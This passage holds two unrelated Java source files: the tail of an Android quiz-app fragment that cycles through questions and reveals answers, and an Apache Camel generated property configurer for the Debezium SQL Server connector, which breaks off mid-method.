if (currentQuestion != null) {
Question questionFromDb = dataService.findQuestionById(currentQuestion.getId());
databaseChanged = databaseChanged || questionFromDb == null || !questionFromDb.equals(currentQuestion);
}
if (databaseChanged) {
if (questionIds.size() > 0) {
cursor = new CircularItemCursor<Long>(questionIds);
} else {
cursor = null;
}
showNextQuestion();
}
}
public void showNextQuestion() {
if (cursor != null) {
cursor.goToNext();
currentQuestion = dataService.findQuestionById(cursor.getCurrent());
questionLabel.setText(currentQuestion.getValue());
} else {
currentQuestion = null;
questionLabel.setText(getString(R.string.how_do_i_use_kotoba_question));
}
clearAnswer();
}
public void showAnswer() {
showAnswerView();
TextView answerView = (TextView) answerLayout.findViewById(R.id.answer_label);
if (currentQuestion != null) {
answerView.setText(currentQuestion.getAnswer());
} else {
answerView.setText(getResources().getText(R.string.how_do_i_use_kotoba_answer));
}
answerVisible = true;
}
@Override
public void onSaveInstanceState(Bundle outState) {
super.onSaveInstanceState(outState);
outState.putSerializable(CURRENT_QUESTION_KEY, currentQuestion);
outState.putBoolean(ANSWER_VISIBLE_KEY, answerVisible);
}
@Override
public void onCreateOptionsMenu(Menu menu, MenuInflater inflater) {
super.onCreateOptionsMenu(menu, inflater);
inflater.inflate(R.menu.question_game, menu);
}
/**
* DO NOT USE!! Only for use in tests!
*
* @param currentQuestion a new value for current question
*/
public void setCurrentQuestion(Question currentQuestion) {
this.currentQuestion = currentQuestion;
}
/**
* DO NOT USE!! Only for use in tests!!
*
* @param cursor a new value for the cursor.
*/
public void setCursor(CircularItemCursor<Long> cursor) {
this.cursor = cursor;
}
public TextView getQuestionLabel() {
return questionLabel;
}
public FrameLayout getAnswerLayout() {
return answerLayout;
}
public boolean isAnswerVisible() {
return answerVisible;
}
private void showAnswerView() {
LayoutInflater inflater = this.getActivity().getLayoutInflater();
answerLayout.removeAllViews();
inflater.inflate(R.layout.question_game_answer_shown, answerLayout);
answerLayout.setOnClickListener(null);
}
private void clearAnswer() {
hideAnswerView();
answerVisible = false;
}
private void hideAnswerView() {
answerLayout.removeAllViews();
LayoutInflater inflater = this.getActivity().getLayoutInflater();
answerLayout = (FrameLayout) inflater.inflate(R.layout.question_game_answer_hidden, answerLayout);
answerLayout.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
showAnswer();
}
});
}
}
| |
/* Generated by camel build tools - do NOT edit this file! */
package org.apache.camel.component.debezium;
import java.util.Map;
import org.apache.camel.CamelContext;
import org.apache.camel.spi.ExtendedPropertyConfigurerGetter;
import org.apache.camel.spi.PropertyConfigurerGetter;
import org.apache.camel.spi.ConfigurerStrategy;
import org.apache.camel.spi.GeneratedPropertyConfigurer;
import org.apache.camel.util.CaseInsensitiveMap;
import org.apache.camel.support.component.PropertyConfigurerSupport;
/**
* Generated by camel build tools - do NOT edit this file!
*/
@SuppressWarnings("unchecked")
public class DebeziumSqlserverComponentConfigurer extends PropertyConfigurerSupport implements GeneratedPropertyConfigurer, PropertyConfigurerGetter {
private org.apache.camel.component.debezium.configuration.SqlServerConnectorEmbeddedDebeziumConfiguration getOrCreateConfiguration(DebeziumSqlserverComponent target) {
if (target.getConfiguration() == null) {
target.setConfiguration(new org.apache.camel.component.debezium.configuration.SqlServerConnectorEmbeddedDebeziumConfiguration());
}
return target.getConfiguration();
}
@Override
public boolean configure(CamelContext camelContext, Object obj, String name, Object value, boolean ignoreCase) {
DebeziumSqlserverComponent target = (DebeziumSqlserverComponent) obj;
switch (ignoreCase ? name.toLowerCase() : name) {
case "additionalproperties":
case "additionalProperties": getOrCreateConfiguration(target).setAdditionalProperties(property(camelContext, java.util.Map.class, value)); return true;
case "autowiredenabled":
case "autowiredEnabled": target.setAutowiredEnabled(property(camelContext, boolean.class, value)); return true;
case "binaryhandlingmode":
case "binaryHandlingMode": getOrCreateConfiguration(target).setBinaryHandlingMode(property(camelContext, java.lang.String.class, value)); return true;
case "bridgeerrorhandler":
case "bridgeErrorHandler": target.setBridgeErrorHandler(property(camelContext, boolean.class, value)); return true;
case "columnblacklist":
case "columnBlacklist": getOrCreateConfiguration(target).setColumnBlacklist(property(camelContext, java.lang.String.class, value)); return true;
case "columnexcludelist":
case "columnExcludeList": getOrCreateConfiguration(target).setColumnExcludeList(property(camelContext, java.lang.String.class, value)); return true;
case "columnincludelist":
case "columnIncludeList": getOrCreateConfiguration(target).setColumnIncludeList(property(camelContext, java.lang.String.class, value)); return true;
case "columnpropagatesourcetype":
case "columnPropagateSourceType": getOrCreateConfiguration(target).setColumnPropagateSourceType(property(camelContext, java.lang.String.class, value)); return true;
case "columnwhitelist":
case "columnWhitelist": getOrCreateConfiguration(target).setColumnWhitelist(property(camelContext, java.lang.String.class, value)); return true;
case "configuration": target.setConfiguration(property(camelContext, org.apache.camel.component.debezium.configuration.SqlServerConnectorEmbeddedDebeziumConfiguration.class, value)); return true;
case "converters": getOrCreateConfiguration(target).setConverters(property(camelContext, java.lang.String.class, value)); return true;
case "databasedbname":
case "databaseDbname": getOrCreateConfiguration(target).setDatabaseDbname(property(camelContext, java.lang.String.class, value)); return true;
case "databasehistory":
case "databaseHistory": getOrCreateConfiguration(target).setDatabaseHistory(property(camelContext, java.lang.String.class, value)); return true;
case "databasehistoryfilefilename":
case "databaseHistoryFileFilename": getOrCreateConfiguration(target).setDatabaseHistoryFileFilename(property(camelContext, java.lang.String.class, value)); return true;
case "databasehistorykafkabootstrapservers":
case "databaseHistoryKafkaBootstrapServers": getOrCreateConfiguration(target).setDatabaseHistoryKafkaBootstrapServers(property(camelContext, java.lang.String.class, value)); return true;
case "databasehistorykafkarecoveryattempts":
case "databaseHistoryKafkaRecoveryAttempts": getOrCreateConfiguration(target).setDatabaseHistoryKafkaRecoveryAttempts(property(camelContext, int.class, value)); return true;
case "databasehistorykafkarecoverypollintervalms":
case "databaseHistoryKafkaRecoveryPollIntervalMs": getOrCreateConfiguration(target).setDatabaseHistoryKafkaRecoveryPollIntervalMs(property(camelContext, int.class, value)); return true;
case "databasehistorykafkatopic":
case "databaseHistoryKafkaTopic": getOrCreateConfiguration(target).setDatabaseHistoryKafkaTopic(property(camelContext, java.lang.String.class, value)); return true;
case "databasehistoryskipunparseableddl":
case "databaseHistorySkipUnparseableDdl": getOrCreateConfiguration(target).setDatabaseHistorySkipUnparseableDdl(property(camelContext, boolean.class, value)); return true;
case "databasehistorystoreonlycapturedtablesddl":
case "databaseHistoryStoreOnlyCapturedTablesDdl": getOrCreateConfiguration(target).setDatabaseHistoryStoreOnlyCapturedTablesDdl(property(camelContext, boolean.class, value)); return true;
case "databasehistorystoreonlymonitoredtablesddl":
case "databaseHistoryStoreOnlyMonitoredTablesDdl": getOrCreateConfiguration(target).setDatabaseHistoryStoreOnlyMonitoredTablesDdl(property(camelContext, boolean.class, value)); return true;
case "databasehostname":
case "databaseHostname": getOrCreateConfiguration(target).setDatabaseHostname(property(camelContext, java.lang.String.class, value)); return true;
case "databaseinstance":
case "databaseInstance": getOrCreateConfiguration(target).setDatabaseInstance(property(camelContext, java.lang.String.class, value)); return true;
case "databasenames":
case "databaseNames": getOrCreateConfiguration(target).setDatabaseNames(property(camelContext, java.lang.String.class, value)); return true;
case "databasepassword":
case "databasePassword": getOrCreateConfiguration(target).setDatabasePassword(property(camelContext, java.lang.String.class, value)); return true;
case "databaseport":
case "databasePort": getOrCreateConfiguration(target).setDatabasePort(property(camelContext, int.class, value)); return true;
case "databaseservername":
case "databaseServerName": getOrCreateConfiguration(target).setDatabaseServerName(property(camelContext, java.lang.String.class, value)); return true;
case "databaseuser":
case "databaseUser": getOrCreateConfiguration(target).setDatabaseUser(property(camelContext, java.lang.String.class, value)); return true;
case "datatypepropagatesourcetype":
case "datatypePropagateSourceType": getOrCreateConfiguration(target).setDatatypePropagateSourceType(property(camelContext, java.lang.String.class, value)); return true;
case "decimalhandlingmode":
case "decimalHandlingMode": getOrCreateConfiguration(target).setDecimalHandlingMode(property(camelContext, java.lang.String.class, value)); return true;
case "eventprocessingfailurehandlingmode":
case "eventProcessingFailureHandlingMode": getOrCreateConfiguration(target).setEventProcessingFailureHandlingMode(property(camelContext, java.lang.String.class, value)); return true;
case "heartbeatactionquery":
case "heartbeatActionQuery": getOrCreateConfiguration(target).setHeartbeatActionQuery(property(camelContext, java.lang.String.class, value)); return true;
case "heartbeatintervalms":
case "heartbeatIntervalMs": getOrCreateConfiguration(target).setHeartbeatIntervalMs(property(camelContext, int.class, value)); return true;
case "heartbeattopicsprefix":
case "heartbeatTopicsPrefix": getOrCreateConfiguration(target).setHeartbeatTopicsPrefix(property(camelContext, java.lang.String.class, value)); return true;
case "includeschemachanges":
case "includeSchemaChanges": getOrCreateConfiguration(target).setIncludeSchemaChanges(property(camelContext, boolean.class, value)); return true;
case "includeschemacomments":
case "includeSchemaComments": getOrCreateConfiguration(target).setIncludeSchemaComments(property(camelContext, boolean.class, value)); return true;
case "incrementalsnapshotallowschemachanges":
case "incrementalSnapshotAllowSchemaChanges": getOrCreateConfiguration(target).setIncrementalSnapshotAllowSchemaChanges(property(camelContext, boolean.class, value)); return true;
case "incrementalsnapshotchunksize":
case "incrementalSnapshotChunkSize": getOrCreateConfiguration(target).setIncrementalSnapshotChunkSize(property(camelContext, int.class, value)); return true;
case "incrementalsnapshotoptionrecompile":
case "incrementalSnapshotOptionRecompile": getOrCreateConfiguration(target).setIncrementalSnapshotOptionRecompile(property(camelContext, boolean.class, value)); return true;
case "internalkeyconverter":
case "internalKeyConverter": getOrCreateConfiguration(target).setInternalKeyConverter(property(camelContext, java.lang.String.class, value)); return true;
case "internalvalueconverter":
case "internalValueConverter": getOrCreateConfiguration(target).setInternalValueConverter(property(camelContext, java.lang.String.class, value)); return true;
case "maxbatchsize":
case "maxBatchSize": getOrCreateConfiguration(target).setMaxBatchSize(property(camelContext, int.class, value)); return true;
case "maxiterationtransactions":
case "maxIterationTransactions": getOrCreateConfiguration(target).setMaxIterationTransactions(property(camelContext, int.class, value)); return true;
case "maxqueuesize":
case "maxQueueSize": getOrCreateConfiguration(target).setMaxQueueSize(property(camelContext, int.class, value)); return true;
case "maxqueuesizeinbytes":
case "maxQueueSizeInBytes": getOrCreateConfiguration(target).setMaxQueueSizeInBytes(property(camelContext, long.class, value)); return true;
case "messagekeycolumns":
case "messageKeyColumns": getOrCreateConfiguration(target).setMessageKeyColumns(property(camelContext, java.lang.String.class, value)); return true;
case "offsetcommitpolicy":
case "offsetCommitPolicy": getOrCreateConfiguration(target).setOffsetCommitPolicy(property(camelContext, java.lang.String.class, value)); return true;
case "offsetcommittimeoutms":
case "offsetCommitTimeoutMs": getOrCreateConfiguration(target).setOffsetCommitTimeoutMs(property(camelContext, java.time.Duration.class, value).toMillis()); return true;
case "offsetflushintervalms":
case "offsetFlushIntervalMs": getOrCreateConfiguration(target).setOffsetFlushIntervalMs(property(camelContext, java.time.Duration.class, value).toMillis()); return true;
case "offsetstorage":
case "offsetStorage": getOrCreateConfiguration(target).setOffsetStorage(property(camelContext, java.lang.String.class, value)); return true;
case "offsetstoragefilename":
case "offsetStorageFileName": getOrCreateConfiguration(target).setOffsetStorageFileName(property(camelContext, java.lang.String.class, value)); return true;
case "offsetstoragepartitions":
case "offsetStoragePartitions": getOrCreateConfiguration(target).setOffsetStoragePartitions(property(camelContext, int.class, value)); return true;
case "offsetstoragereplicationfactor":
case "offsetStorageReplicationFactor": getOrCreateConfiguration(target).setOffsetStorageReplicationFactor(property(camelContext, int.class, value)); return true;
case "offsetstoragetopic":
case "offsetStorageTopic": getOrCreateConfiguration(target).setOffsetStorageTopic(property(camelContext, java.lang.String.class, value)); return true;
case "pollintervalms":
case "pollIntervalMs": getOrCreateConfiguration(target).setPollIntervalMs(property(camelContext, java.time.Duration.class, value).toMillis()); return true;
case "providetransactionmetadata":
case "provideTransactionMetadata": getOrCreateConfiguration(target).setProvideTransactionMetadata(property(camelContext, boolean.class, value)); return true;
case "queryfetchsize":
case "queryFetchSize": getOrCreateConfiguration(target).setQueryFetchSize(property(camelContext, int.class, value)); return true;
case "retriablerestartconnectorwaitms":
case "retriableRestartConnectorWaitMs": getOrCreateConfiguration(target).setRetriableRestartConnectorWaitMs(property(camelContext, java.time.Duration.class, value).toMillis()); return true;
case "sanitizefieldnames":
case "sanitizeFieldNames": getOrCreateConfiguration(target).setSanitizeFieldNames(property(camelContext, boolean.class, value)); return true;
case "signaldatacollection":
case "signalDataCollection": getOrCreateConfiguration(target).setSignalDataCollection(property(camelContext, java.lang.String.class, value)); return true;
case "skippedoperations":
case "skippedOperations": getOrCreateConfiguration(target).setSkippedOperations(property(camelContext, java.lang.String.class, value)); return true;
case "snapshotdelayms":
case "snapshotDelayMs": getOrCreateConfiguration(target).setSnapshotDelayMs(property(camelContext, java.time.Duration.class, value).toMillis()); return true;
case "snapshotfetchsize":
case "snapshotFetchSize": getOrCreateConfiguration(target).setSnapshotFetchSize(property(camelContext, int.class, value)); return true;
case "snapshotincludecollectionlist":
case "snapshotIncludeCollectionList": getOrCreateConfiguration(target).setSnapshotIncludeCollectionList(property(camelContext, java.lang.String.class, value)); return true;
case "snapshotisolationmode":
case "snapshotIsolationMode": getOrCreateConfiguration(target).setSnapshotIsolationMode(property(camelContext, java.lang.String.class, value)); return true;
case "snapshotlocktimeoutms":
case "snapshotLockTimeoutMs": getOrCreateConfiguration(target).setSnapshotLockTimeoutMs(property(camelContext, java.time.Duration.class, value).toMillis()); return true;
case "snapshotmaxthreads":
case "snapshotMaxThreads": getOrCreateConfiguration(target).setSnapshotMaxThreads(property(camelContext, int.class, value)); return true;
case "snapshotmode":
case "snapshotMode": getOrCreateConfiguration(target).setSnapshotMode(property(camelContext, java.lang.String.class, value)); return true;
case "snapshotselectstatementoverrides":
case "snapshotSelectStatementOverrides": getOrCreateConfiguration(target).setSnapshotSelectStatementOverrides(property(camelContext, java.lang.String.class, value)); return true;
case "sourcestructversion":
case "sourceStructVersion": getOrCreateConfiguration(target).setSourceStructVersion(property(camelContext, java.lang.String.class, value)); return true;
case "sourcetimestampmode":
case "sourceTimestampMode": getOrCreateConfiguration(target).setSourceTimestampMode(property(camelContext, java.lang.String.class, value)); return true;
case "tableblacklist":
case "tableBlacklist": getOrCreateConfiguration(target).setTableBlacklist(property(camelContext, java.lang.String.class, value)); return true;
case "tableexcludelist":
case "tableExcludeList": getOrCreateConfiguration(target).setTableExcludeList(property(camelContext, java.lang.String.class, value)); return true;
case "tableignorebuiltin":
case "tableIgnoreBuiltin": getOrCreateConfiguration(target).setTableIgnoreBuiltin(property(camelContext, boolean.class, value)); return true;
case "tableincludelist":
case "tableIncludeList": getOrCreateConfiguration(target).setTableIncludeList(property(camelContext, java.lang.String.class, value)); return true;
case "tablewhitelist":
case "tableWhitelist": getOrCreateConfiguration(target).setTableWhitelist(property(camelContext, java.lang.String.class, value)); return true;
case "timeprecisionmode":
case "timePrecisionMode": getOrCreateConfiguration(target).setTimePrecisionMode(property(camelContext, java.lang.String.class, value)); return true;
case "tombstonesondelete":
case "tombstonesOnDelete": getOrCreateConfiguration(target).setTombstonesOnDelete(property(camelContext, boolean.class, value)); return true;
case "transactiontopic":
case "transactionTopic": getOrCreateConfiguration(target).setTransactionTopic(property(camelContext, java.lang.String.class, value)); return true;
default: return false;
}
}
@Override
public Class<?> getOptionType(String name, boolean ignoreCase) {
switch (ignoreCase ? name.toLowerCase() : name) {
case "additionalproperties":
case "additionalProperties": return java.util.Map.class;
case "autowiredenabled":
case "autowiredEnabled": return boolean.class;
case "binaryhandlingmode":
case "binaryHandlingMode": return java.lang.String.class;
case "bridgeerrorhandler":
case "bridgeErrorHandler": return boolean.class;
case "columnblacklist":
case "columnBlacklist": return java.lang.String.class;
case "columnexcludelist":
case "columnExcludeList": return java.lang.String.class;
case "columnincludelist":
case "columnIncludeList": return java.lang.String.class;
case "columnpropagatesourcetype":
case "columnPropagateSourceType": return java.lang.String.class;
case "columnwhitelist":
case "columnWhitelist": return java.lang.String.class;
case "configuration": return org.apache.camel.component.debezium.configuration.SqlServerConnectorEmbeddedDebeziumConfiguration.class;
case "converters": return java.lang.String.class;
case "databasedbname":
case "databaseDbname": return java.lang.String.class;
case "databasehistory":
case "databaseHistory": return java.lang.String.class;
case "databasehistoryfilefilename":
case "databaseHistoryFileFilename": return java.lang.String.class;
case "databasehistorykafkabootstrapservers":
case "databaseHistoryKafkaBootstrapServers": return java.lang.String.class;
case "databasehistorykafkarecoveryattempts":
case "databaseHistoryKafkaRecoveryAttempts": return int.class;
case "databasehistorykafkarecoverypollintervalms":
case "databaseHistoryKafkaRecoveryPollIntervalMs": return int.class;
case "databasehistorykafkatopic":
case "databaseHistoryKafkaTopic": return java.lang.String.class;
case "databasehistoryskipunparseableddl":
case "databaseHistorySkipUnparseableDdl": return boolean.class;
case "databasehistorystoreonlycapturedtablesddl":
case "databaseHistoryStoreOnlyCapturedTablesDdl": return boolean.class;
case "databasehistorystoreonlymonitoredtablesddl":
case "databaseHistoryStoreOnlyMonitoredTablesDdl": return boolean.class;
case "databasehostname":
case "databaseHostname": return java.lang.String.class;
case "databaseinstance":
case "databaseInstance": return java.lang.String.class;
case "databasenames":
case "databaseNames": return java.lang.String.class;
case "databasepassword":
case "databasePassword": return java.lang.String.class;
case "databaseport":
case "databasePort": return int.class;
case "databaseservername":
case "databaseServerName": return java.lang.String.class;
case "databaseuser":
case "databaseUser": return java.lang.String.class;
case "datatypepropagatesourcetype":
case "datatypePropagateSourceType": return java.lang.String.class;
case "decimalhandlingmode":
case "decimalHandlingMode": return java.lang.String.class;
case "eventprocessingfailurehandlingmode":
case "eventProcessingFailureHandlingMode": return java.lang.String.class;
case "heartbeatactionquery":
case "heartbeatActionQuery": return java.lang.String.class;
case "heartbeatintervalms":
case "heartbeatIntervalMs": return int.class;
case "heartbeattopicsprefix":
case "heartbeatTopicsPrefix": return java.lang.String.class;
case "includeschemachanges":
case "includeSchemaChanges": return boolean.class;
case "includeschemacomments":
case "includeSchemaComments": return boolean.class;
case "incrementalsnapshotallowschemachanges":
case "incrementalSnapshotAllowSchemaChanges": return boolean.class;
case "incrementalsnapshotchunksize":
case "incrementalSnapshotChunkSize": return int.class;
case "incrementalsnapshotoptionrecompile":
case "incrementalSnapshotOptionRecompile": return boolean.class;
case "internalkeyconverter":
case "internalKeyConverter": return java.lang.String.class;
case "internalvalueconverter":
case "internalValueConverter": return java.lang.String.class;
case "maxbatchsize":
case "maxBatchSize": return int.class;
case "maxiterationtransactions":
case "maxIterationTransactions": return int.class;
case "maxqueuesize":
case "maxQueueSize": return int.class;
case "maxqueuesizeinbytes":
case "maxQueueSizeInBytes": return long.class;
case "messagekeycolumns":
case "messageKeyColumns": return java.lang.String.class;
case "offsetcommitpolicy":
case "offsetCommitPolicy": return java.lang.String.class;
case "offsetcommittimeoutms":
case "offsetCommitTimeoutMs": return long.class;
case "offsetflushintervalms":
case "offsetFlushIntervalMs": return long.class;
case "offsetstorage":
case "offsetStorage": return java.lang.String.class;
case "offsetstoragefilename":
case "offsetStorageFileName": return java.lang.String.class;
case "offsetstoragepartitions":
case "offsetStoragePartitions": return int.class;
case "offsetstoragereplicationfactor":
case "offsetStorageReplicationFactor": return int.class;
case "offsetstoragetopic":
case "offsetStorageTopic": return java.lang.String.class;
case "pollintervalms":
case "pollIntervalMs": return long.class;
case "providetransactionmetadata":
case "provideTransactionMetadata": return boolean.class;
case "queryfetchsize":
case "queryFetchSize": return int.class;
case "retriablerestartconnectorwaitms":
case "retriableRestartConnectorWaitMs": return long.class;
case "sanitizefieldnames":
case "sanitizeFieldNames": return boolean.class;
case "signaldatacollection":
case "signalDataCollection": return java.lang.String.class;
case "skippedoperations":
case "skippedOperations": return java.lang.String.class;
case "snapshotdelayms":
case "snapshotDelayMs": return long.class;
case "snapshotfetchsize":
case "snapshotFetchSize": return int.class;
case "snapshotincludecollectionlist":
case "snapshotIncludeCollectionList": return java.lang.String.class;
case "snapshotisolationmode":
case "snapshotIsolationMode": return java.lang.String.class;
case "snapshotlocktimeoutms":
case "snapshotLockTimeoutMs": return long.class;
case "snapshotmaxthreads":
case "snapshotMaxThreads": return int.class;
case "snapshotmode":
case "snapshotMode": return java.lang.String.class;
case "snapshotselectstatementoverrides":
case "snapshotSelectStatementOverrides": return java.lang.String.class;
case "sourcestructversion":
case "sourceStructVersion": return java.lang.String.class;
case "sourcetimestampmode":
case "sourceTimestampMode": return java.lang.String.class;
case "tableblacklist":
case "tableBlacklist": return java.lang.String.class;
case "tableexcludelist":
case "tableExcludeList": return java.lang.String.class;
case "tableignorebuiltin":
case "tableIgnoreBuiltin": return boolean.class;
case "tableincludelist":
case "tableIncludeList": return java.lang.String.class;
case "tablewhitelist":
case "tableWhitelist": return java.lang.String.class;
case "timeprecisionmode":
case "timePrecisionMode": return java.lang.String.class;
case "tombstonesondelete":
case "tombstonesOnDelete": return boolean.class;
case "transactiontopic":
case "transactionTopic": return java.lang.String.class;
default: return null;
}
}
@Override
public Object getOptionValue(Object obj, String name, boolean ignoreCase) {
DebeziumSqlserverComponent target = (DebeziumSqlserverComponent) obj;
switch (ignoreCase ? name.toLowerCase() : name) {
case "additionalproperties":
case "additionalProperties": return getOrCreateConfiguration(target).getAdditionalProperties();
case "autowiredenabled":
case "autowiredEnabled": return target.isAutowiredEnabled();
case "binaryhandlingmode":
case "binaryHandlingMode": return getOrCreateConfiguration(target).getBinaryHandlingMode();
case "bridgeerrorhandler":
case "bridgeErrorHandler": return target.isBridgeErrorHandler();
case "columnblacklist":
case "columnBlacklist": return getOrCreateConfiguration(target).getColumnBlacklist();
case "columnexcludelist":
case "columnExcludeList": return getOrCreateConfiguration(target).getColumnExcludeList();
case "columnincludelist":
case "columnIncludeList": return getOrCreateConfiguration(target).getColumnIncludeList();
case "columnpropagatesourcetype":
case "columnPropagateSourceType": return getOrCreateConfiguration(target).getColumnPropagateSourceType();
case "columnwhitelist":
case "columnWhitelist": return getOrCreateConfiguration(target).getColumnWhitelist();
case "configuration": return target.getConfiguration();
case "converters": return getOrCreateConfiguration(target).getConverters();
case "databasedbname":
case "databaseDbname": return getOrCreateConfiguration(target).getDatabaseDbname();
case "databasehistory":
case "databaseHistory": return getOrCreateConfiguration(target).getDatabaseHistory();
case "databasehistoryfilefilename":
case "databaseHistoryFileFilename": return getOrCreateConfiguration(target).getDatabaseHistoryFileFilename();
case "databasehistorykafkabootstrapservers":
case "databaseHistoryKafkaBootstrapServers": return getOrCreateConfiguration(target).getDatabaseHistoryKafkaBootstrapServers();
case "databasehistorykafkarecoveryattempts":
case "databaseHistoryKafkaRecoveryAttempts": return getOrCreateConfiguration(target).getDatabaseHistoryKafkaRecoveryAttempts();
case "databasehistorykafkarecoverypollintervalms":
case "databaseHistoryKafkaRecoveryPollIntervalMs": return getOrCreateConfiguration(target).getDatabaseHistoryKafkaRecoveryPollIntervalMs();
case "databasehistorykafkatopic":
case "databaseHistoryKafkaTopic": return getOrCreateConfiguration(target).getDatabaseHistoryKafkaTopic();
case "databasehistoryskipunparseableddl":
case "databaseHistorySkipUnparseableDdl": return getOrCreateConfiguration(target).isDatabaseHistorySkipUnparseableDdl();
case "databasehistorystoreonlycapturedtablesddl":
case "databaseHistoryStoreOnlyCapturedTablesDdl": return getOrCreateConfiguration(target).isDatabaseHistoryStoreOnlyCapturedTablesDdl();
case "databasehistorystoreonlymonitoredtablesddl":
case "databaseHistoryStoreOnlyMonitoredTablesDdl": return getOrCreateConfiguration(target).isDatabaseHistoryStoreOnlyMonitoredTablesDdl();
case "databasehostname":
case "databaseHostname": return getOrCreateConfiguration(target).getDatabaseHostname();
case "databaseinstance":
case "databaseInstance": return getOrCreateConfiguration(target).getDatabaseInstance();
case "databasenames":
case "databaseNames": return getOrCreateConfiguration(target).getDatabaseNames();
case "databasepassword":
case "databasePassword": return getOrCreateConfiguration(target).getDatabasePassword();
case "databaseport":
case "databasePort": return getOrCreateConfiguration(target).getDatabasePort();
case "databaseservername":
case "databaseServerName": return getOrCreateConfiguration(target).getDatabaseServerName();
case "databaseuser":
case "databaseUser": return getOrCreateConfiguration(target).getDatabaseUser();
case "datatypepropagatesourcetype":
case "datatypePropagateSourceType": return getOrCreateConfiguration(target).getDatatypePropagateSourceType();
case "decimalhandlingmode":
case "decimalHandlingMode": return getOrCreateConfiguration(target).getDecimalHandlingMode();
case "eventprocessingfailurehandlingmode":
case "eventProcessingFailureHandlingMode": return getOrCreateConfiguration(target).getEventProcessingFailureHandlingMode();
case "heartbeatactionquery":
case "heartbeatActionQuery": return getOrCreateConfiguration(target).getHeartbeatActionQuery();
case "heartbeatintervalms":
case "heartbeatIntervalMs": return getOrCreateConfiguration(target).getHeartbeatIntervalMs();
case "heartbeattopicsprefix":
case "heartbeatTopicsPrefix": return getOrCreateConfiguration(target).getHeartbeatTopicsPrefix();
case "includeschemachanges":
case "includeSchemaChanges": return getOrCreateConfiguration(target).isIncludeSchemaChanges();
case "includeschemacomments":
case "includeSchemaComments": return getOrCreateConfiguration(target).isIncludeSchemaComments();
case "incrementalsnapshotallowschemachanges":
case "incrementalSnapshotAllowSchemaChanges": return getOrCreateConfiguration(target).isIncrementalSnapshotAllowSchemaChanges();
case "incrementalsnapshotchunksize":
case "incrementalSnapshotChunkSize": return getOrCreateConfiguration(target).getIncrementalSnapshotChunkSize();
case "incrementalsnapshotoptionrecompile":
case "incrementalSnapshotOptionRecompile": return getOrCreateConfiguration(target).isIncrementalSnapshotOptionRecompile();
case "internalkeyconverter":
case "internalKeyConverter": return getOrCreateConfiguration(target).getInternalKeyConverter();
case "internalvalueconverter":
case "internalValueConverter": return getOrCreateConfiguration(target).getInternalValueConverter();
case "maxbatchsize":
case "maxBatchSize": return getOrCreateConfiguration(target).getMaxBatchSize();
case "maxiterationtransactions":
case "maxIterationTransactions": return getOrCreateConfiguration(target).getMaxIterationTransactions();
case "maxqueuesize":
case "maxQueueSize": return getOrCreateConfiguration(target).getMaxQueueSize();
case "maxqueuesizeinbytes":
case "maxQueueSizeInBytes": return getOrCreateConfiguration(target).getMaxQueueSizeInBytes();
case "messagekeycolumns":
case "messageKeyColumns": return getOrCreateConfiguration(target).getMessageKeyColumns();
case "offsetcommitpolicy":
case "offsetCommitPolicy": return getOrCreateConfiguration(target).getOffsetCommitPolicy();
case "offsetcommittimeoutms":
case "offsetCommitTimeoutMs": return getOrCreateConfiguration(target).getOffsetCommitTimeoutMs();
case "offsetflushintervalms":
case "offsetFlushIntervalMs": return getOrCreateConfiguration(target).getOffsetFlushIntervalMs();
case "offsetstorage":
case "offsetStorage": return getOrCreateConfiguration(target).getOffsetStorage();
case "offsetstoragefilename":
case "offsetStorageFileName": return getOrCreateConfiguration(target).getOffsetStorageFileName();
case "offsetstoragepartitions":
case "offsetStoragePartitions": return getOrCreateConfiguration(target).getOffsetStoragePartitions();
case "offsetstoragereplicationfactor":
case "offsetStorageReplicationFactor": return getOrCreateConfiguration(target).getOffsetStorageReplicationFactor();
case "offsetstoragetopic":
case "offsetStorageTopic": return getOrCreateConfiguration(target).getOffsetStorageTopic();
case "pollintervalms":
case "pollIntervalMs": return getOrCreateConfiguration(target).getPollIntervalMs();
case "providetransactionmetadata":
case "provideTransactionMetadata": return getOrCreateConfiguration(target).isProvideTransactionMetadata();
case "queryfetchsize":
case "queryFetchSize": return getOrCreateConfiguration(target).getQueryFetchSize();
case "retriablerestartconnectorwaitms":
case "retriableRestartConnectorWaitMs": return getOrCreateConfiguration(target).getRetriableRestartConnectorWaitMs();
case "sanitizefieldnames":
case "sanitizeFieldNames": return getOrCreateConfiguration(target).isSanitizeFieldNames();
case "signaldatacollection":
case "signalDataCollection": return getOrCreateConfiguration(target).getSignalDataCollection();
case "skippedoperations":
case "skippedOperations": return getOrCreateConfiguration(target).getSkippedOperations();
case "snapshotdelayms":
case "snapshotDelayMs": return getOrCreateConfiguration(target).getSnapshotDelayMs();
case "snapshotfetchsize":
case "snapshotFetchSize": return getOrCreateConfiguration(target).getSnapshotFetchSize();
case "snapshotincludecollectionlist":
case "snapshotIncludeCollectionList": return getOrCreateConfiguration(target).getSnapshotIncludeCollectionList();
case "snapshotisolationmode":
case "snapshotIsolationMode": return getOrCreateConfiguration(target).getSnapshotIsolationMode();
case "snapshotlocktimeoutms":
case "snapshotLockTimeoutMs": return getOrCreateConfiguration(target).getSnapshotLockTimeoutMs();
case "snapshotmaxthreads":
case "snapshotMaxThreads": return getOrCreateConfiguration(target).getSnapshotMaxThreads();
case "snapshotmode":
case "snapshotMode": return getOrCreateConfiguration(target).getSnapshotMode();
case "snapshotselectstatementoverrides":
case "snapshotSelectStatementOverrides": return getOrCreateConfiguration(target).getSnapshotSelectStatementOverrides();
case "sourcestructversion":
case "sourceStructVersion": return getOrCreateConfiguration(target).getSourceStructVersion();
case "sourcetimestampmode":
case "sourceTimestampMode": return getOrCreateConfiguration(target).getSourceTimestampMode();
case "tableblacklist":
case "tableBlacklist": return getOrCreateConfiguration(target).getTableBlacklist();
case "tableexcludelist":
case "tableExcludeList": return getOrCreateConfiguration(target).getTableExcludeList();
case "tableignorebuiltin":
case "tableIgnoreBuiltin": return getOrCreateConfiguration(target).isTableIgnoreBuiltin();
case "tableincludelist":
case "tableIncludeList": return getOrCreateConfiguration(target).getTableIncludeList();
case "tablewhitelist":
case "tableWhitelist": return getOrCreateConfiguration(target).getTableWhitelist();
case "timeprecisionmode":
case "timePrecisionMode": return getOrCreateConfiguration(target).getTimePrecisionMode();
case "tombstonesondelete":
case "tombstonesOnDelete": return getOrCreateConfiguration(target).isTombstonesOnDelete();
case "transactiontopic":
case "transactionTopic": return getOrCreateConfiguration(target).getTransactionTopic();
default: return null;
}
}
@Override
public Object getCollectionValueType(Object target, String name, boolean ignoreCase) {
